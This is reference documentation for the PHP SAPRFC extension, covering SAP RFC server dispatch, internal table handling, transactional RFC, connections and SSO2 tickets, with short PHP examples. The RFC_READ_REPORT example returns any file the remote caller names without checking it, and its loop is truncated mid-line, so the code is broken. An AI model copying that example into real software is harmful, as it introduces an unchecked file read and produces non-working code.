   saprfc_import ($fce,"FULLNAME", array ("FIRST"=>"John","LAST"=>"Smith"));
?>
                 
See also: saprfc_export(), saprfc_server_import(), saprfc_server_export()

saprfc_server_accept

(PHP 4, PHP 5)
saprfc_server_accept  --  Accept an incoming RFC connection

Description

int saprfc_server_accept (mixed args)
Accept an incoming RFC connection from SAP gateway and return RFC handle on success or false on failure.
Args parameter is used for registration on SAP Gateway (transaction SM59). The value of parameter can be $argv array or a command line string:

– aprogram ID e.g. own_host_name.program_name
– ghost name of the SAP gateway
– xservice of the SAP gateway e.g. sapgw00
– tUse RFC-trace
Note: The function has different behaviour under Windows and Unix. While under Windows return to caller immediately, under Unix after receive first RFC call. This is behaviour of function RfcAccept() (SAP RFCSDK).

Example 1. Checking Constants

$rfc = saprfc_server_accept ("-a phpgw -g server -x sapgw30");
// or
// $rfc = saprfc_server_accept ($argv);
?>
                 
See also: saprfc_server_dispatch()

saprfc_server_export

(PHP 4, PHP 5)
saprfc_server_export  --  Set a value of a export parameter

Description

bool saprfc_server_export (int fce, string name, mixed value)
Set a value of the export parameter name. Return true on success or false on failure.
See also: saprfc_export(), saprfc_import(), saprfc_server_export()

saprfc_server_import

(PHP 4, PHP 5)
saprfc_server_import  --  Get a value of a import parameter

Description

mixed saprfc_server_import (int fce, string name)
Return value of a import parameter name for function handle fce. See also: saprfc_import(), saprfc_export(), saprfc_server_export()

saprfc_server_dispatch

(PHP 4, PHP 5)
saprfc_server_dispatch  --  Receive a single RFC request and call a corresponding PHP function

Description

int saprfc_server_dispatch (int rfc, array list [, int timeout])
Function waits for incoming a rfc request (forever or period defined by timeout parameter in seconds), than calls a corresponding PHP function. PHP server functions are defined in array list, key is function name (upper case) and value is function handle. Return SAPRFC_OK on success, SAPRFC_RETRY on timeout expire, -1 if call PHP server function failed or other error code (see saprfc_call_and_reveive() ).

Example 1. Implementation of server PHP function RFC_READ_REPORT()

function RFC_READ_REPORT ($fce)
{ 
   $PROGRAM = saprfc_server_import ($fce,"PROGRAM");
   if ($PROGRAM =="") return ("EMPTY");  // raise exception EMPTY
   $list = file ($PROGRAM);
   saprfc_table_init ($fce,"QTAB");
   for ($i=0; $i
       saprfc_table_append ($fce,"QTAB",array ("LINE"=>$list[$i]));
   saprfc_server_export ($fce,"SYSTEM","PHP");     
   return;
}

$DEF_RFC_READ_REPORT = array (....) // see to saprfc_function_define() example

$GLOBAL_FCE_LIST[RFC_READ_REPORT] = saprfc_function_define (0,"RFC_READ_REPORT",$DEF_RFC_READ_REPORT);

$rfc = saprfc_server_accept ($argv);
$rfc_rc = saprfc_server_dispatch ($rfc,$GLOBAL_FCE_LIST);
?>
                 
See also: saprfc_function_define(), saprfc_server_accept(),

saprfc_server_register_check

(PHP 4, PHP 5)
saprfc_server_register_check  --  Check for registered RFC server at a SAP gateway

Description

array saprfc_server_register_check (string tpid, string gwhost, string gwservice)
An RFC program can use this call to check whether and how many RFC server programs are registered at a SAP gateway with a defined program ID (tpid). Values are returned in the array ("ntotal"=>?, "ninit"=>?,"nready"=>?,"nbusy"=>? ) 
An RFC server program which registers at a SAP gateway and then waits for RFC requests from any R/2 or R/3 or another external program can have one of the following 3 states:
INIT: RFC server is only registered at the SAP gateway, it doesn't wait at this moment for RFC request. An RFC server enters in this state after saprfc_server_accept() .
READY: RFC server enters in this state after saprfc_server_dispatch(), saprfc_trfc_dispatch() ; It is now ready to process incoming RFC requests.
BUSY: RFC server is processing an RFC request and is not available for other ones.
See also: saprfc_server_register_cancel()

saprfc_server_register_cancel

(PHP 4, PHP 5)
saprfc_server_register_cancel  --  Cancel all registered RFC servers at a SAP gateway

Description

array saprfc_server_register_cancel (string tpid, string gwhost, string gwservice)
An RFC program can use this call to cancel all registered RFC servers at a SAP gateway with a defined program ID (tpid). 
Pay attention that RFC servers in BUSY state cannot be canceled. In this case you will have a difference between the output parameters $array[ntotal] and $array[ncancel] returned by this call.
See also: saprfc_server_register_check()

saprfc_set_trace

(PHP 4, PHP 5)
saprfc_set_trace  --  Activate/Deactivate the RFC trace

Description

void saprfc_set_trace (int rfc, bool level)
Activates the RFC trace (level = true) for a specified connection (valid rfc handle) or for all RFC connections (rfc = 0).

saprfc_table_append

(PHP 4, PHP 5)
saprfc_table_append  --  Append a line at end of internal table

Description

bool saprfc_table_append (int fce, string name, array value)
Append a value at the end of an internal tablename.

saprfc_table_init

(PHP 4, PHP 5)
saprfc_table_init  --  Init a internal table

Description

bool saprfc_table_init (int fce, string name)
Deletes all rows from a table name.

saprfc_table_insert

(PHP 4, PHP 5)
saprfc_table_insert  --  Insert a line to an internal table

Description

bool saprfc_table_insert (int fce, string name, array value, int index)
Insert a value before line index in a table name.

saprfc_table_modify

(PHP 4, PHP 5)
saprfc_table_modify  --  Modify a line of an internal table

Description

bool saprfc_table_modify (int fce, string name, array value, int index)
Modify a line index of an internal table name with a value.

saprfc_table_read

(PHP 4, PHP 5)
saprfc_table_read  --  Read a line from an internal table

Description

array saprfc_table_read (int fce, string name, int index)
Read a value from an internal table name from line index (indexed from 1,2,...)

saprfc_table_remove

(PHP 4, PHP 5)
saprfc_table_remove  --  Remove a line of an internal table

Description

bool saprfc_table_remove(int fce, string name, int index)
Remove line index from a table name.

saprfc_table_rows

(PHP 4, PHP 5)
saprfc_table_rows  --  Get a number of lines an internal table

Description

int saprfc_table_rows (int fce, string name)
Get a number of lines an internal table name.

saprfc_trfc_call

(PHP 4, PHP 5)
saprfc_trfc_call  --  Calls a function module in R/3 indirectly (tRFC)

Description

int saprfc_trfc_call (int fce, string tid)
Calls a function module in R/3 indirectly. 
With this function, the call of a function module in R/3 will use the transactional RFC interface in R/3.
Export parameters are not supported. 
If an error occurs (almost only communication errors), the RFC client program has to reconnect to R/3 later and repeat this RFC call with the specific TransID. It must not create a new TransID via saprfc_trfc_tid()
See also: saprfc_call_and_receive(), saprfc_trfc_tid()

saprfc_trfc_dispatch

(PHP 4, PHP 5)
saprfc_trfc_dispatch  --  Receives a single RFC request and call a corresponding PHP function (tRFC)

Description

int saprfc_trfc_dispatch (int rfc, array list [, int timeout])
Alias to saprfc_server_dispatch().
See also: saprfc_server_dispatch()

saprfc_trfc_install

(PHP 4, PHP 5)
saprfc_trfc_dispatch  --  Installs functions to control transactional behaviour (tRFC)

Description

bool saprfc_trfc_install (string tid_check, string tid_commit, string tid_rollback, string tid_confirm, string dispatcher)
This function was introduced to allow an RFC server program to ensure exactly-once behaviour for functions being called via tRFC in ABAP: saprfc_trfc_install() must thus be called by RFC server program before thesaprfc_trfc_dispatch() loop is entered if this program wants to receive transactional RFC calls and must ensure that RFC calls are done excatly once. 
Without installing these functions it can only be guaranteed that an RFC function call issued by 'Call Function... In Background Task' is done at least once. Then all function modules offered by such a server program which are called via 'Call Function... In Background Task' must cope with being called more then once. 
If installed, the first function tid_check, if a transactional RFC is to be called. The actual Transaction ID is passed. The function has to store this transaction-ID in permanent storage and return 0. If the same function will be called later again with the same transaction-ID, it has to make sure that it will return a non-zero value. If the same transaction is already running by another process but is not completed, the function has to wait until the transaction completes. 
The second function tid_commit is called if all the RFC function module calls are done and the local transaction can be completed. It should be used to locally commit the transaction, if necessary . 
The third function tid_rollback is called instead of the second function, if, from the point of view of the RFC library, there occurred an error while processing the local transaction. This function can be used to roll back the local transaction. 
The fourth function tid_confirm will be called if the local transaction is completed also from the point of view of the calling system and all information on this transaction-ID can be discarded.
The last function dispatcher is called from saprfc_trfc_dispatch() and return function handle for function name.

See the trfcserv.php example.
See also: saprfc_trfc_dispatch()

saprfc_trfc_tid

(PHP 4, PHP 5)
saprfc_trfc_tid  --  Gets a transaction-ID for a following call of a function module using tRFC

Description

string saprfc_trfc_tid (int rfc)
Gets a transaction-ID for a following call of a function module in R/3 using the transactional RFC interface in R/3. With this function a new TransID will be produced from the R/3 System. The RFC client program has to call a function module in R/3 via saprfc_trfc_call() with this TransID. 
If an error occurs (e.g. communication error) during the call of a function module in R/3 via saprfc_trfc_call(), the RFC client program has to reconnect the RFC connection and repeat the saprfc_trfc_call() without creating a new TransId
See also: saprfc_trfc_call()

saprfc_open

(PHP 4, PHP 5)
saprfc_open  --  Open a RFC connection to SAP R/3

Description

int saprfc_open (array conn)
Open a RFC connection to an SAP R/3. Return RFC handle on success or false on failure. The connection parameters in array conn are:
        conn = array ("ASHOST" => "",          
                      "SYSNR" => "",           
                      "CLIENT" => "",          
                      "USER" => "",            
                      "PASSWD" => "",          
                      "GWHOST" =>"",     
                      "GWSERV" =>"",  
                      "MSHOST" =>"",            
                      "R3NAME" =>"",     
                      "GROUP" =>"",           
                      "LANG" =>"",           
                      "TRACE" =>"");             
          

Example 1. Login to aplication server

$rfc = saprfc_open (array ("ASHOST"=>"server","SYSNR"=>"20","CLIENT"=>"400",
                             "USER"=>"test", "PASSWD" =>"test"));
   
?>
                 

Example 2. Login to logon group (using load balancing)

$rfc = saprfc_open (array ("CLIENT"=>"400", "USER"=>"test", "PASSWD" =>"test", 
                             "MSHOST"=>"server1", "R3NAME"=>"DEV", "GROUP"=>"PUBLIC"));

?>
                 
Note: If you use load balancing, service sapms (where is system name) must be set in services file (/etc/services) on your PHP server.
See also: saprfc_error(), saprfc_close()

saprfc_optional

(PHP 4, PHP 5)
saprfc_optional  --  Set a import parameter as optional

Description

bool saprfc_optional (int fce, string name, bool value)
Set/reset import parameter name as optional (1/0). Return true on success or false on failure. If the parameter is set as optional and has no value assigned, the default value of parameter is used (see to interface definition in transaction SE37).

saprfc_set_code_page

(PHP 4, PHP 5)
saprfc_set_code_page  --  Set SAP codepage for a RFC connection

Description

bool saprfc_set_code_page (int rfc, string codepage)
Set SAP codepage for a RFC connection rfc.

saprfc_allow_start_program

(PHP 4, PHP 5)
saprfc_allow_start_program  --  Explicitly allows the RFC library to start the programs

Description

bool saprfc_allow_start_program ([ string program_list ])
Explicitly allows the RFC library to start the programs described in the list as input parameter program_list if this is required by the RFC partner. The program_list is a colon (;) separated list of programs that can be called from the rfc stack. If the function is called without any parameter, all programs can be called from the rfc stack. 

This call can be used either in RFC client or RFC server program.

It can be useful if you have a document management system within R/3 and want to check out documents (from sap) or check in documents (to sap) with the help of the external programs sapftp/saphttp (very comfortable; ftp/http-clients that can be controlled from external here from the sap stack; can be downloaded from the SAP Service Marketplace). The call of saprfc_allow_start_program() is needed for BAPIs like BAPI_DOCUMENT_CHECKOUTMODIFY2 or BAPI_DOCUMENT_CHECKIN2 and the like. 

Example 1: Allow start external program sapftp and saphttp

$rc = saprfc_allow_start_program ("sapftp;saphttp");
                 


Example 2: Allow start any external program

$rc = saprfc_allow_start_program ();
                 

saprfc_get_ticket

(PHP 4, PHP 5)
saprfc_get_ticket  --  Retrieve backend generated cookie version 2 after calling saprfc_open with flag GETSSO2

Description

string saprfc_get_ticket ( int rfc)
Return SSO2 ticket or false if ticket is not available. 

Example 1: Get SSO2 logon ticket

$login = array (
                   "ASHOST"=>"hostname",
                   "SYSNR"=>"00",
                   "CLIENT"=>"client",
                   "USER"=>"username",
                   "PASSWD"=>"password",
                   "GETSSO2"=>"1");
             $rfc = saprfc_open ($login );
             $ticket = saprfc_get_ticket($rfc);
                 


Example 2: Login with SSO2 ticket

$login = array ( 
                  "ASHOST"=>"hostname",
                  "SYSNR"=>"00",
                  "CLIENT"=>"client",
                  "MYSAPSSO2"=>$ticket);
             $rfc = saprfc_open ($login );